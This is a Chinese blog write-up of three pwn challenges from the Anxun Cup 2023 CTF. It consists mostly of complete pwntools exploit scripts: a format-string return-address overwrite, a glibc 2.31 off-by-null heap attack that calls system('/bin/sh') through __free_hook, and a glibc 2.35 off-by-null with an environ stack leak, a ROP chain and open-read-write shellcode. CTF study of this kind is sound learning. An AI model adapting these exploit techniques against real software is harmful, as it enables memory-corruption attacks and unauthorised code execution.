安洵杯2023 部分pwn复现

文章详细介绍了三道CTFPwn类题目,包括`harde_pwn`、`pwnpwn`和`DE_CAT`的解决过程。每道题都涉及到了利用内存漏洞,如覆盖函数返回地址、glibc的offbynull漏洞,以及通过libc搜索器找到关键函数地址,最终实现执行自定义shellcode来获得shell。文章还展示了如何通过environ泄露栈地址并进行ORW操作。
摘要由CSDN通过智能技术生成

1. harde_pwn

漏洞点:

覆盖printf的返回地址


from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './harde_pwn'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("47.108.165.60",26695) if argv[1]=='r' else process(binary)
# libc = ELF('./libc.so.6',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

from ctypes import cdll
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x61616161)

# 174293481
sa2("Welcome to a ctype game!\n",b"a"*0x20)

for i in range(21):
    sla("input: \n",(libc.rand()^ 0x24) + 1)

sla2("input your data ;)\n",b"%11$p")
libc_base = int(ru("\n"),16)-171408
realloc_hook = libc_base + 0x000000000220498
leak("realloc_hook",realloc_hook)
sla2("input your data ;)\n",b"%8$p")
stack = int(ru("\n"),16) + 8 
printf_ret = stack - 48
onegadget = 0xebcf5 + libc_base

def fmt(first, second, target_addr, content):
    for i in range(2,-1,-1):
        sla2("input your data ;)\n","%{}c%{}$hn".format((target_addr+2*i)&0xffff,first))
        sla2("input your data ;)\n","%{}c%45$hn".format((content>>(16*i))&0xffff))

fmt(15,45,stack,printf_ret)
fmt(15,45,stack+8,printf_ret+2)
fmt(15,45,stack+16,printf_ret+4)
payload = "%" + str(onegadget & 0xffff) + "c%11$hn"
payload += "%" + str(0x10000-(onegadget & 0xffff)+((onegadget>>16)&0xffff)) + "c%12$hn"
payload += "%" + str(0x10000-((onegadget>>16) & 0xffff)+((onegadget>>32)&0xffff)) + "c%13$hn"
p.sendafter("input your data ;)",payload)

itr()

2.  pwnpwn

漏洞点:

glibc2.31的off by null

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()
		free = base + libc.sym['__free_hook']
	return (system,binsh,free)
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './pwnpwn'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('47.108.165.60',27178) if argv[1]=='r' else process(binary)
libc2 = ELF('./libc-2.31.so',checksec=False)
import time
from ctypes import cdll
libc=cdll.LoadLibrary('./libc-2.31.so')
def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

_del,_show,_add,_edit,_login = 4,2,1,3,5
menu_str = "root@$\n"
index_str = "give me your index:\n"
size_str = "give me your size:\n"
content_str = "give me your content:\n"
def delete(index):
    sla(menu_str,_del)
    sla(index_str,index)

def show(index):
    sla(menu_str,_show)
    sla(index_str,index)

def add(index, size, content="aaaaaaaa"):
    sla(menu_str,_add) 
    sla(index_str,index)
    sla(size_str,size)
    sa2(content_str,content)

def edit(index, content="a"):
    sla(menu_str,_edit) 
    sla("give me your index\n",index)
    sla("give me your index\n",index)
    sa2(content_str,content)

'''
flag = 1:edit,delete
flag = 0:show
'''
def login(username, passwd):
    sla(menu_str,_login) 
    sla2("please input your username\n",username)
    sla2("please input your passwd\n",passwd)

libc.srand(int(time.time()))
v8 = 0
for i in range(4):
    v8 = v8 * 10 + (libc.rand()%10)
sla("please input your number:",v8)


login(b'1', b'1') # set flag = 1

add(0,0x418) 
add(1,0x108)
add(2,0x438) 
add(3,0x438) 
add(4,0x108) 
add(5, 0x4e8) 
add(6,0x428)
add(7,0x108)

# 6<-->3<--->0
delete(0)
delete(3) 
delete(6) 

# 2+3<-->6<-->0
delete(2)

# fake chunk
# 利用之前chunk3残留的地址,fd指向0,bk指向6
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 

#将剩余的chunk申请走
add(3,0x418) 
add(6,0x428)
add(0,0x418) 

# 3<-->0
delete(0)
delete(3)

# 利用off by null 将0的bk最后一个字节覆盖成0x00(最开始chunk3的地址)
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   

# 5<-->6<-->3
# 利用跟上面一样的步骤
delete(3) 
delete(6) 
delete(5)

# 利用off by null 覆盖之前的6的fd最后一个字节为0x00(最开始chunk3的地址)
add(5, 0x4f8, b'5' * 0x4e8 + p64(0x431))

# 将剩余的全部申请走
add(6, 0x418, b'6')
add(3, 0x418)

# 将chunk5的prev size设置为0x550,然后利用off by null 覆盖size成0x500,主要将prev in use位改为0
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))

# unlink
delete(5)
# 切割剩下的部分放进unsorted bin与chunk4重合
add(5, 0x438)

login(b'1', b'1234123')  # set flag = 0

# 常规的uaf打法
show(4)
libc_base = uu64(ru(b"\x7f",False)[-6:]) - 0x1ecbe0
leak("libc_base",libc_base)
add(8,0x108)
login(b'1', b'1'*0x103)  # set flag = 1 整数溢出
delete(7)
delete(8)
edit(4, p64(libc_base+libc2.sym['__free_hook']))
add(7, 0x108, b"/bin/sh\x00")
add(8, 0x108, p64(libc_base+libc2.sym['system']))
delete(7)

itr()

3. DE_CAT

漏洞点:

glibc2.35的off by null,开了沙箱

通过environ泄露栈地址,然后修改返回地址实现orw

from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
from Crypto.Util.number import bytes_to_long
import os
# context.terminal = ['tmux','splitw','-h']
def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
		free = base + libc.dump('__free_hook')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search(b'/bin/sh').__next__()
		free = base + libc.sym['__free_hook']
	return (system,binsh,base)
s       = lambda data               :p.send(str(data))
s2       = lambda data               :p.send((data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sa2      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline((data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
sla2     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,b'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
context.os = 'linux'
context.arch = 'amd64'
binary = './CAT_DE'
os.system("chmod +x "+binary)
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote("47.108.165.60", 36399) if argv[1]=='r' else process(binary)
libc = ELF('./libc.so.6',checksec=False)

def dbg():
    if argv[1]=='r':
        return
    gdb.attach(p)
    pause()

def itr():
    p.interactive()

_create,_edit,_delete,_show = 1,4,2,3
menu = "input your car choice >> \n"
size_str = "size:\n"
content_str= "content:\n"
index_str = "idx:\n"
def create(size,content):
    sla(menu,_create)
    sla(size_str,size)
    sa2(content_str,content)

def edit(index,content):
    sla(menu,_edit)    
    sla(index_str,index)
    sa2(content_str,content)

def delete(index):
    sla(menu,_delete)
    sla(index_str,index)

def show(index):
    sla(menu,_show)
    sla(index_str,index)


create(0x4f8, b"a") #0
create(0x4f8, b"a") #1
delete(0)
create(0x5f8, b"a") #0
create(0x4f8, b"a") #2
show(2)
ru("\x00\x00")
libc_base = uu64(ru("\x00\x00"))-0x21a110
heap_base = uu64(ru("\x00\x00"))-0x290
leak("libc_base", libc_base)
leak("heap_base", heap_base)
edit(2, flat({
    0x0: heap_base + 0x290,
    0x8: heap_base + 0x290,
    0x4f0: 0x500
}, filler=b"\x00",length=0x4f8))
delete(1)
create(0x1f8, b"a") #1
create(0x1f8, b"a") #3
delete(3)
delete(1)
# 减去0x10防止申请时输入覆盖最后一个字节为0x00
edit(2, p64((libc_base + libc.symbols['environ'] - 0x10)^(heap_base + 0x2a0) >> 12))
create(0x1f8, b"a") #1
create(0x1f8, b"a") #3
show(3)
# 多减一个8为了堆块对齐0x10
stack_ret = uu64(ru("\x7f",False)[-6:])-0x148
leak("stack_ret", stack_ret)
create(0x1f8, b"a") #4
delete(4)
delete(1)
edit(2, p64(stack_ret^((heap_base + 0x2a0) >> 12)))
create(0x1f8, b"a") #1
pop_rdi = libc_base + 0x000000000002a3e5
create(0x1f8, flat([
    0,
    libc_base + 0x000000000002a3e5,
    (stack_ret-0x148) & (~0xfff), 
    libc_base + 0x000000000002be51,
    0x1000,
    libc_base + 0x000000000011f497,
    7, 0,
    libc_base + 0x0000000000045eb0,
    10,
    libc_base + 0x0000000000091396,
    libc_base + 0x000000000008821d,
]) + asm('''
    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    syscall ;// write open() return value

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    syscall ;// read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    syscall ;// write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit
''') + b'\0')
itr()

其中libc.symbols['__environ'])中间的'__environ'可写成'_environ'或者'environ'都可以,暂不明白原因,望知道的大佬告知

问题:

在DE_CAT中使用【八芒星计划】 ORW_rop orw_真岛忍的博客-CSDN博客中的libc.search来构造pop链找到的地址有的会出现在没有执行权限的段中,导致读取失败

参考链接:

安洵杯2023 Writeup - 星盟安全团队

栈溢出 Stack smash 利用 | 0x4C43's Blog

environ泄露栈地址+orw+uaf_thna0s的博客-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值